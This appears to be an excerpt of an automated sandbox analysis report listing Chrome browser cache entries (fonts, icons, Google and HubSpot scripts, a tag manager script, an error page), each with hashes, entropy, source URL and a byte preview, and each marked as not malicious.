Preview:	wOF2..............9....2.........................d..v.6.`....H..<....(.r..H..p.6.$.... ..~. ..).B3..%.q.fH...(W..(J......'2,....'..^I..9.2%.I\R.W..f...a3....t+I.!._#...`xj?...;..`.......j.....X<....Or...?..dA-e...]P.......N...B..?I\|8z7...Sa.......N.Qh<m..<..7...q@.QZ.Gk..p.m.\|......-xy....m...-.._....z.=]^.........Vq4>.t.g.=/..S........c...K.D.H.w.....[.L2.L..o-..t.B.C.+.,.....J...V.G.T..,........_.)Yv...;.J.v\...H./.i9..;...#N.KG..V...f.]}....kj.w{....V..[..i.'+}..8..XN..).NkV.f9ukC..Pk...Q.Z......._...N.......'.)Tj...`...d...V....b[.;..C..RA....i;.gD8E.6.a\f?.<.J...F.4 M.......4..CZ. }V.56!........&..P\|7.G........Q.k.}.$..#.K..}P@...R.-...%l...xY...^......Y.VO.....h...Z.<.&e...eR...."..j.........,.)%.]......0i..sV.......1.-.c. ..".>....EP...S..'@..\./=.`......7..}O.dH?.S3.4'E...........1...gJ4....)/..dd]s....Ixa.,JgZ&....../....._...[.c..W...'.xb=[Ln.lHdO..8.^...dU..K.\...w#....U.... _IR4v.qMtO...3.X3.Oq..W.a....L4...[...,..&.T.c..$...\|c

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1848
Entropy (8bit):	7.804238591680567
Encrypted:	false
SSDEEP:	48:1zHt3x+SY41uQbRbv+/FiknQpCg6OVH4E:JR/Y4kQdvKnQraE
MD5:	24A07BB6C54E9FDD7569B317F24B26FB
SHA1:	046FCD8D47CC7CCF81947A4A5AC7F8BA7BA13A93
SHA-256:	02CE36EBFE4CC68CB527B50BFE706F9D3A679A0A6E8D42E7A7B890C66951990C
SHA-512:	2C04C9DCA9C7CE0893F0CF26015AEEF675A073B39E9C33BCD0D9D59D19B4FEC446D777DF43EEAD62576C759DF8052586AEADF970AC363FD9B7A13E615251BF71
Malicious:	false
URL:	https://storage.googleapis.com/support-kms-prod/bJppRS0Z8FmVujFmM7KFHADzbq3L0PPb1Wpj
Preview:	.PNG........IHDR...@...@......iq.....bKGD..............pHYs.........B(.x....tIME.............IDATx..[kl.U.........Uy..0........DCPb.j4..h.P..R.....".?4>..b.`....H..E.b\|.jLE...e;..{...;........w..s...).....o..(.....dp..m.X_.0.{....df....@N..^.6..im.....9...(.....R..?v.vc...~\...3VH....}.. ...[[2..~.![........d......=.t....$...!6..36....8......:...../3.....T..}..3...u.T.......E.G...1.I:"........0R.....>....t...2..K3...R\|Om........_.ZJ8....'...A.)..A..%...<.V.1..x.{.64k^..`..o. ...i....A......D.(f6.f.j.......v.....R{....Q.=n........F....p.'..:.X.:?.3-..-."!.V.z..O..5nsJjcs...@^?..f.......!.i.S..9_\........<.?...-QJ..]. ..yK......]w.<.wT.#u.+I..\..5..).=..{N..I.=......M..Ai......)E...+.;....{...VC....@a..)..G1....33UQ....G.b%.]. .nH...1....'.F.1.`y.kDX.......70).....i....l..L4a....`...ai......cy...+F..h\|b..A..Q...i.&..`..(oOu..r..`c..!.,.c...~...xQ..~-.%nxD.u...~j+.g.5'.\|.Cv@..@.b..S.u\..B..V.4._.u.....pw...9no.#..S..B.._..o.E..8...(..:7._^.."^

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	174410
Entropy (8bit):	5.552371664332172
Encrypted:	false
SSDEEP:	3072:Kx03C+ynn+R9n4huwXljOCGZhQox52yWk2b93BBpBzjZpdDeUyQzv82hkHzRznoL:K23Cj+rn4huSzGZhHx52yWk253BBpBz/
MD5:	3C5DD3A9D7BAB01DBCB2FC61DABEC896
SHA1:	6E4F37DF2E7257B8C127FC8F2101A42BFFC9D62A
SHA-256:	D6DFA24209CB921B89B4CD1AA039B0E73C5528302785FD9DFE7EE4E989860CDD
SHA-512:	805C517A2650EB990EBB72F0C9782596A1B064813507D152B470A99D3970EA596DE221B5633F2E5873B8BE7BD4F78D74122AAA776235C805F942AD2C60675A77
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.kK1dM3um3so.2019.O/rt=j/m=q_dnp,q_pc,qmd,qcwid,qapid,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvy5aateSbmVFHM0FBRaHBJsFE_CQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Zi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.$i=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var aj,bj,fj,ij,hj,dj,gj;aj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};bj=function(){_.Na()};fj=function(a,b){(_.cj\|\|(_.cj=new dj)).set(a,b);(_.ej\|\|(_.ej=new dj)).set(b,a)};ij=function(a){if(gj===void 0){const b=new hj([],{});gj=Array.prototype.concat.call([],b).length===1}gj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.jj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.kj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.lj=function(a,b){a===0&&(a=_.kj(a,b));return a\|1};_.mj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.nj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.qj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.jj(a,b,d);var k=h[_

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2998
Entropy (8bit):	7.879745431378973
Encrypted:	false
SSDEEP:	48:YyU2NQoPeJ+rb8smrZ5mLml7E6stVhP3AkLMZMfSOLsIqDSwmU68Q0O/ICU0tio:hUAWJ+bmrZYLSe9LMBImyS4ICUG3
MD5:	77C8483BC6A16664E5622E7D4ABAAEF6
SHA1:	7EEB5C99555FFC07827D5A47941296823A6A919C
SHA-256:	F5B90101A8103328FA19749E8E05CE5B235CBEECD070B0DB3A63A37D5587CA7C
SHA-512:	A256BF32805F93D67232ADC4E01AA9531EA843B89FEF7ED8BE296DAC762C0F1BAA23E577045812FA7BDEF9C3E519F675C2997FBACFD536FF9C60C09D14B9EAFA
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/accessibility/v4/web-64dp/logo_accessibility_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq....}IDATx...sS...B...#z........9.w;.1. @2.2....M.dy.+...6......&i3).F..N....dY.%K...o..;.}..v$.lA3.H....\|....b.....cy...7{........\|{..{.q.?...P.:.3...........?......n..N.vu.............APR8.......;....g...n.)......,...h.n_........&...+.H..g.u...Z..=..,nv.YP..(`jyJ..V...._..'...LV.<.o.z..t..w}..c..\|PqG...R^...=.'...S..m9...b.TX..DA.4..)...;...F.o....V>_d..D.@l@F...=..q.%..'...'}g..Q....&$3...R:...7.................v..KN............w...n.... pA...M.hu@n.).S..NO.....n<.}.>..b..4X......=.w._.k]./....ua...>(%Q......i.0e# .&)^.Hi..v..M.I...=.oq,5S..j).....j/....j....&7.0.F.... ....<[....o..N..b.%...\|.....'...vH.....y.$#..3...?..........R.%.....!.$....j..S...b.>Q.R..3jC......._....c...1..k.. u.......V.&4S:$n.I..ocuae<.M.Vlq..............`..-1..........^ee..O..g.)...VT..~.lq.q.~..9.[].'s....L.....g{...w..hJ.!.heE1....b...B..i.f..... ..98/.-....d.X.{...._>.&XX$D....@J.LX.i........='..P.u...7....+......Y....

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64990)
Category:	downloaded
Size (bytes):	72794
Entropy (8bit):	5.410433979786684
Encrypted:	false
SSDEEP:	1536:zyLbbg0UN17URA3m5viI+MUdl7Jbx1UNA08vnTEjU18EOTQBs2CgTBQB:bI+MAl9b7UiTrm7T77
MD5:	4A70A25DE880416EBE88644F1ACEB430
SHA1:	DB08B4EABE2CD62BE189D16BE554C63BFE99A179
SHA-256:	E3213D3C85A31BD512810BC3674272311CA3054D596BC7EB093BE9D46E9CD87C
SHA-512:	8DECF527E873A599D6EACF0DA04608BE3A177C9D64443A048BF1463D55516066D96B61BD9AC94C69E96ED4472AFA8F59CD1BE30521F9B6EC85554378F81D5AB9
Malicious:	false
URL:	https://js.hs-banner.com/v2/48192692/banner.js
Preview:	var _hsp = window['_hsp'] = window['_hsp'] \|\| [];._hsp.push(['setBannerSettings', {}]);._hsp.push(['setCustomizationSettings', {}]);._hsp.push(['addCookieDomain', '.hsforms.com']);._hsp.push(['addCookieDomain', '.hs-sites.com']);._hsp.push(['addCookieDomain', '.hubspot.com']);._hsp.push(['addCookieDomain', '.hubspotpagebuilder.com']);._hsp.push(['addCookieDomain', '.results-staffing.com']);._hsp.push(['setApiBaseUrl', 'https://js.hs-banner.com/v2']);./*. HubSpot Cookie Banner Code Copyright 2024 HubSpot, Inc. http://www.hubspot.com. */.!function(){var e=[,function(e,t){var n;function o(){var e,t;t=arguments[0]\|\|{};this.config={};this.config.elements=t.elements?t.elements:[];this.config.attributes=t.attributes?t.attributes:{};this.config.attributes[o.ALL]=this.config.attributes[o.ALL]?this.config.attributes[o.ALL]:[];this.config.allow_comments=!!t.allow_comments&&t.allow_comments;this.allowed_elements={};this.config.protocols=t.protocols?t.protocols:{};this.config.add_attributes=t.a

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	downloaded
Size (bytes):	278417
Entropy (8bit):	5.579883579782428
Encrypted:	false
SSDEEP:	6144:Np8YnsmQ8ohZ1HcRCriua0Mf3/9rf1uT+bQx5:f0m9oh7Hc8ci5
MD5:	961B560CE6CC263E16E16658CD29AE54
SHA1:	BF5C1AFC69E428971DB2FE12FD459FAA85F4AA1B
SHA-256:	665DB056773DA2ABCD5385F4F03731814C568DFDD705F2639C7BBC802D8DD9EC
SHA-512:	57B259F149BBB7B257109AEEDEF6EAD1858ABBDE865FC7D601E2AD7ADB3E9B868A78AC494B201F1BC4BF5B5B3CBD04448883AD84F7908A390B01D2264AAE4661
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/js?id=G-H30R9PNQFN
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"undefined"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_dma","priority":6,"vtp_delegationMode":"ON","vtp_dmaDefault":"DENIED","tag_id":111},{"function":"__ogt_1p_data_v2","priority":6,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_fir

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 9832, version 1.0
Category:	downloaded
Size (bytes):	9832
Entropy (8bit):	7.975495830331784
Encrypted:	false
SSDEEP:	192:79QDvz0lcHvOOR57orEbKO0hYcDwFMwo8ch8+BZFuRIII4iT6GZ:79uvzScHvOO04GdhYcEMwoThnE1al
MD5:	4904E4512C44FF90A67249421A174F8D
SHA1:	6FF8BFAB9C2AD320BF52A628F35861790C75A23E
SHA-256:	8589F8DE6CFF2670DEBC131476EFDD070303664BCE3A0B7E231EF16A0BFB6BB9
SHA-512:	852FE99E3571340018FDE517AA6A3C301DC308EDE430EAD54ABBDC85112FFA5D60E50FE21D0C317C05904EC1A15E3CECAF557C86BFDCC540065BD5FE51778851
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2
Preview:	wOF2......&h......[...&..........................j..z.6.`....H..<......1........6.$.... ..~. ..)..Q%l...;@...U:......6....V....4..$v...(F..Q.u..oe@.RO~...u.3.hP.b9...;[.6SN...P#.K.4..N.......W........r%<5o=...mh.z..r...A.6..gY@G.a................ .D6`...6...Q#.aq.u`......S.e0..0.:.....4...\....E....wP!.+..;....a.7.....K'M.:.U...].NEx...KU.....{3...'.W"T....TV19v..r....IV.4.....o.:..ip....S...).u...~............... %..Q.V.....}.%Y...[.R@BV.c.:N2&...gdm].,.O..U._.....Jm...a...WcE.7.{..}k.6...3...n..$.}<.j]7..x..iJ..x}..\&.+]J..Y..........f{.H[..{.{G).......Fs..tXp.@..(.....f...........X:.@. ....W.9.....ta.R,....:w.........N....e....g....[.JjC.......b........0B.....c...G.............o.T8H.H.(".11H.d.Ty .......(. .....#c...K....2....W..:.......h...sC....r...4.....+.........y~J.......6.1;DQ......A>1.jb...jb.(."-;..R).~..........5.V.X5Ue..\|5....Y.f..{..9A.8s..;..8.x.."...)t.f.CGN..r......x...7../ $,.!....f0.7.x......3...=..a\|y..b.rT..

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1270)
Category:	dropped
Size (bytes):	62564
Entropy (8bit):	5.612739498050748
Encrypted:	false
SSDEEP:	768:MJw6rxg2lglBl68yWnEj9pjUSpGhI7M0brRrn+6drBIf8nJ8l2Zor6xTAuqUQSxy:MEBlBBGL40pBIfZl6lG6S9ZCRFYQ2rX
MD5:	C129985E069AEC16F768B04D85FED9D9
SHA1:	A8FCB5A5C61B627A6B0B0B2970A86A0E68C2FD3E
SHA-256:	AF49CF3A4E761C6710E0F73590CD7E23EAE7893E5157B3306FC183CA4F069376
SHA-512:	9083672A8718293E55D8932A784502DD1738947DE4EF80BA45467B093909B4A3B45BBB263ED9FCDCC8D90966FA9D56E262A4E9D7C356C54380D382A9E67E3D36
Malicious:	false
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.Hu=function(a){_.cn.call(this);this.v=a\|\|window;this.H=_.Vm(this.v,"resize",this.N,!1,this);this.j=_.kl(this.v)};_.ji(_.Hu,_.cn);_.Hu.prototype.Db=function(){_.Hu.ze.Db.call(this);this.H&&(_.an(this.H),this.H=null);this.j=this.v=null};_.Hu.prototype.N=function(){var a=_.kl(this.v);_.gl(a,this.j)\|\|(this.j=a,this.dispatchEvent("resize"))};._.n("n73qwf");.var Iu=function(a){_.cn.call(this);this.H=a?a.j.defaultView:window;this.na=this.H.devicePixelRatio>=1.5?2:1;this.v=(0,_.rh)(this.oa,this);this.N=null;(this.j=this.H.matchMedia?this.H.matchMedia("(min-resolution: 1.5dppx), (-webkit-min-device-pixel-ratio: 1.5)"):null)&&typeof this.j.addListener!=="function"&&typeof this.j.addEventListener!=="function"&&(this.j=null)};_.ji(Iu,_.cn);.Iu.prototype.start=function(){var a=this;this.j&&(typeof this.j.addEventListener==="function"?(this.j.addEventListener("change",this.v),thi

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	134
Entropy (8bit):	4.888902974358046
Encrypted:	false
SSDEEP:	3:YVKBEiFFXT+4MRL2KIhfwcP2xR2GXEqRWJ6jLZHJqloRWfn:YiLtT+BbU2mn6jLZpKXf
MD5:	7A68A4362D8F1203023FC18EB0DE4820
SHA1:	BB9399AF71CF71EC659510E5336C5DF6CF0D8D0C
SHA-256:	0A7C967E1FBA67AF0509115B4EB035F4994ED1B8B8604E9BC9BD10918438B475
SHA-512:	715F8FF45BEF7A9962F68303D0C0567F59397BB1B6ACD3E63CA4B7F566BC9F3CE2EECB50F442AC9CCB952960ECB6C7745BC349CE3C63B1186A8A5B6639E528DF
Malicious:	false
URL:	https://forms.hscollectedforms.net/collected-forms/v1/config/json?portalId=48192692&utk=f969d8b384270839a01465c358727fa6
Preview:	{"portalId":48192692,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":174207433}

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 155 x 155, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	9022
Entropy (8bit):	7.9599076792234955
Encrypted:	false
SSDEEP:	192:cSDm0LErRkF1TigL/DWfWgm2yx/dqBRO3zsbCtG8foPpfkVyCzWWcleXjl:bqrW/9LbWfWL2yKnOiCnwPpf4yYW54
MD5:	1DBF72BB19B804BBE3DBEBA082928F79
SHA1:	96AFB1E7F50755E2D8F0E75AA248258ABC94B004
SHA-256:	72108F86CAE18712175896CF55EDAC220103E1ED1D825B79EA364CC6E98933F7
SHA-512:	DE3520C5163CC0D96CC600C00F12F8B7A077D3ADB6E094F358E0A2F4DDD36F95C296773C87BA09BC6B02DD8BB655CFE363008FE66A95A949EEA718A39BE6BB49
Malicious:	false
URL:	https://storage.googleapis.com/support-kms-prod/RtYfYt69uZaC29qgMoE4JCX862QbezJhsup7
Preview:	.PNG........IHDR.............ua.....pHYs.................sRGB.........gAMA......a...".IDATx..]].].U^k...m@v.AE......c...........<@=.I.(..'u.....m)....$2F x.+...5%I.D<I.UA.K ......g.^.?k....w.Nb..?%.{.=..s.........4..O>.."4....c#..9h...l7..wdii.04..F.......C..a,4.....o.O.C.Xhd......57:&....J......q...B#.xm.-L2.b.1..6&z..B6..[.....6&..O.F...a,4...<........m.4...`..)....kd...lc......0...+.Aw..v.F.1....(.%..xlI.8hd......JU.C...<.....&....lc 0,.hH)A....?[..]..m.XZzn..+&..yY.8....B#..1;.../E...Bt....h....v..wO.j.yJN4./d.s.~..#.pC4....d.L.H.....1..>..7D#....#.....\T.&..C#..............,Y8.......rc4....h.RB.)N..Fj..u{....F..........)...d$V..u.[Vz.4....j..u.U....9z..-I ....;..#...(...-$K..h.i.......p..vD#.u0{....L~.........q/..$.%+..bK.vD#..@..Zr..Y...5Em.f.-g..q.f.ap..F..m.....V.O..x..X3...uMs...l;.....Z.....l."......h..(.D#..<..N.B.q......u.4...HH........a..l#A+l.Hj..e.7.F.I..W^F..?....P....h.@....4^.6....,d..9..G".8\....l..`.......a..57&..l.t....OVZ.f..f

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 34108, version 1.0
Category:	downloaded
Size (bytes):	34108
Entropy (8bit):	7.993096562158293
Encrypted:	true
SSDEEP:	768:xDa3S2Rdcc3/k1/3Sr8dgfqHwQGMIto3/fIpos4GbtJzxn:xu3SQ3e/3S43TUtoP4Ftn
MD5:	C15D33A9508923BE839D315A999AB9C7
SHA1:	D17F6E786A1464E13D4EC8E842F4EB121B103842
SHA-256:	65C99D3B9F1A1B905046E30D00A97F2D4D605E565C32917E7A89A35926E04B98
SHA-512:	959490E7AE26D4821170482D302E8772DD641FFBBE08CFEE47F3AA2D7B1126DCCD6DEC5F1448CA71A4A8602981966EF8790AE0077429857367A33718B5097D06
Malicious:	false
URL:	https://fonts.gstatic.com/s/googlesans/v58/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjIUvQ.woff2
Preview:	wOF2.......<..........................................\..4?HVAR.t.`?STAT..'...J/<.....`..(..Z.0..,.6.$.... ..B..K..[.h...c.....nC .../.V.v..6>nT.R...b.8.@.......ON.ch.......k..."..".9..\D...JBJ."T%5...Z2..Q.)wJ...sA.h..m....n..F.....t..ig.=..y.s@............t..j.....n.h(...........N..)9.....v`\|z....8.7..kTq....^.......[.K.O..1ZP.....;.HP.......>..+..j:.V.......A......[.f.l..v`x....F_..vo...e....n...H..X.2.v}...(.1J...x.....}.....5.3.....?..?..7...S..0.9..C.0.M..M9..e.b....bc..b4.0"e.G.....XT....z............E'c.(."...x`].]..e.rQ..ye.z........kFh;....Y.yPt.._Q.._-q..mi.Og.W.-qUI...m5..r.mvA~o....S.f........s..ql.aXD...H..wy.P..k...f$.V^.2...8U{...f.....]]..G..cf.......D.c&B'S.2~..N..........R;..).5...../... 6....b....]d6."C..T..........OI\+V'...E.[.g.u.E....,!F.....*U.q. :x.s..1..C....H..S%..)....h......K..........pw.f...f.......an3....9....@......%.2.c.+........cXD..F...B.....0'...O.z8.B....4...\..&c...H....;..p....@.l...:........L..`...5..xo&.

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1279
Entropy (8bit):	7.698565773147704
Encrypted:	false
SSDEEP:	24:mND+d+0wSn+IU2jjHuJZREKBNWC0OKBLHCLkgGNaOF9S4SPMIow:mBrIUQjHuJ/7eCxgcXGNfSnRow
MD5:	A67B837E46BB187D5DC9E5A2C77E82CB
SHA1:	683EBB2C0AF4CB080E1D904AEB7015858959924F
SHA-256:	703D3FC191D5F8A9835EA55596EF58A85D66E54C4303B96CEB8E185C2C922B53
SHA-512:	DF09B822B1E493783860EE2042BF20149A392B81DD8F17EB0881B175F691BE8D7B798E5FEF2C464FB066CD7E961D4E63A943B69D79DC8DD125DE0F1605DB2394
Malicious:	false
URL:	https://www.gstatic.com/images/branding/product/1x/family_link_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx.b.....~Y..y.Qx...,(.....Rf......ff..a...>f.u..c...:....^;y....og....r!.}...i.+...M........\|...L.WA...-W..A!K.44\|...i.'...,+K..[.........$...8<.@.@P.+S.,-}B... ..OT.Y0.g....I..A..T........l"....0...Q.Ex..@1>.....e.............FQ.s. ......B.......\w...7...?.8..\w.^,....i...........?....U....Q @x.C2........TW.....R...+W.#...9.o.......l =.....+..7.Q..c.K.d.....R;..62..9...2...W.G....~....l=..z.[NC9.......\._..E=....`....i.G. ....f~$}%.Bq......yvs?.:..... :....Q.O..J.....@.0.R.......O.L...h.P9.D].....Q."T.#..N.4../FlD..J.} 8..{o..!*....O../$M.F......D...P....".........y..R..C.b...w...0x!...S.7....\..E.........M?6.L..v.7.q.].O.}..\x..;._..5.H]LW...N.\|L.......:..v.c....'... ..p..ZmG..p.%.=H.5.4..i..Us.}(..%.p."..P .T{..I^.n.f.E...F...k..m.."..B.."_.(..YYh..u$..t.&..@Ut.r.......U.x..5.....tF.B...uF.1.bIRj&..w..'y........A.do..k...xHk.ih.KLc@...Hr....`.....v..v.dCK..2r....F.......Z.M....^..[x..!'..P.IA7..

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	5.066197194954144
Encrypted:	false
SSDEEP:	24:t4LsQfefL1bAjUDAh9Q36tg8anACOIYeACxNaADwH4KV7875B7X4KrU:+X2fKPi6eLTYeACXXwHj7qNX5U
MD5:	D083C5690DC37F8B7A238A18F195D8A0
SHA1:	3C5E3262B7150E80FA9036338395EF04D8245A46
SHA-256:	C2790158F77DF106A523639CEF09BD263A9AE747B9004AC214ACE25DD0D4CBD7
SHA-512:	A7A953FC1F6E26694D4324C344B069F48D4FEDCEBCA296AE28F79A0BBBB70FB5C28DC84D96625E5389D05C1AD35D77BE302855FAF4032C0F6FFCACA3E1E55816
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" enable-background="new 0 0 192 192" height="192" viewBox="0 0 192 192" width="192"><g><defs><rect height="192" id="SVGID_1_" width="192"/></defs><clipPath id="SVGID_2_"><use overflow="visible" xlink:href="#SVGID_1_"/></clipPath><g clip-path="url(#SVGID_2_)"><path d="M121.11,60.87l5.89,0.11l16.01-16.01l0.78-6.78C131.07,26.87,114.33,19.98,96,19.98 c-33.19,0-61.18,22.57-69.48,53.17c1.75-1.21,5.48-0.31,5.48-0.31l32-5.26c0,0,1.66-2.72,2.47-2.55 C73.79,57.02,84.32,51.98,96,51.98C105.5,51.98,114.24,55.32,121.11,60.87z" fill="#EA4335"/><path d="M165.5,73.19c-3.71-13.72-11.39-25.82-21.72-35.01l-22.68,22.68C130.18,68.2,136,79.42,136,91.98v4 c11.03,0,20,8.97,20,20s-8.97,20-20,20H96L92,140v24l4,3.98h40c28.67,0,52-23.33,52-52C188,98.25,179.08,82.58,165.5,73.19z" fill="#4285F4"/><path d="M56,167.98h39.97v-32H56c-2.94,0-5.72-0.65-8.24-1.8L42,135.95l-16.02,16.02l-1.4,5.41 C33.31,164.02,44.2,167.98,56,167.98z" fill="#34A

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.5
Encrypted:	false
SSDEEP:	3:H+rYn:D
MD5:	F1C9C44E663E7E62582E3F5B236C1C72
SHA1:	E142F3A0C2D1CDF175A5C3AF43AD66FEFE208B1F
SHA-256:	D843E67FBFA1F5CB0024062861EE26860C5A866F80755CF39B3465459A8538B9
SHA-512:	19FE62CB9D884BB3424C51DD15E74EB22E5A639BABF8398BACEBB781862296FA0D7AEE39C88CB9C7AF5791FD58830AC3433F5C6BD94B1BA3912AB33151E93452
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAnAWBTGCXQjyxIFDTcwqTA=?alt=proto
Preview:	CgkKBw03MKkwGgA=

Chrome Cache Entry: 348

Download File

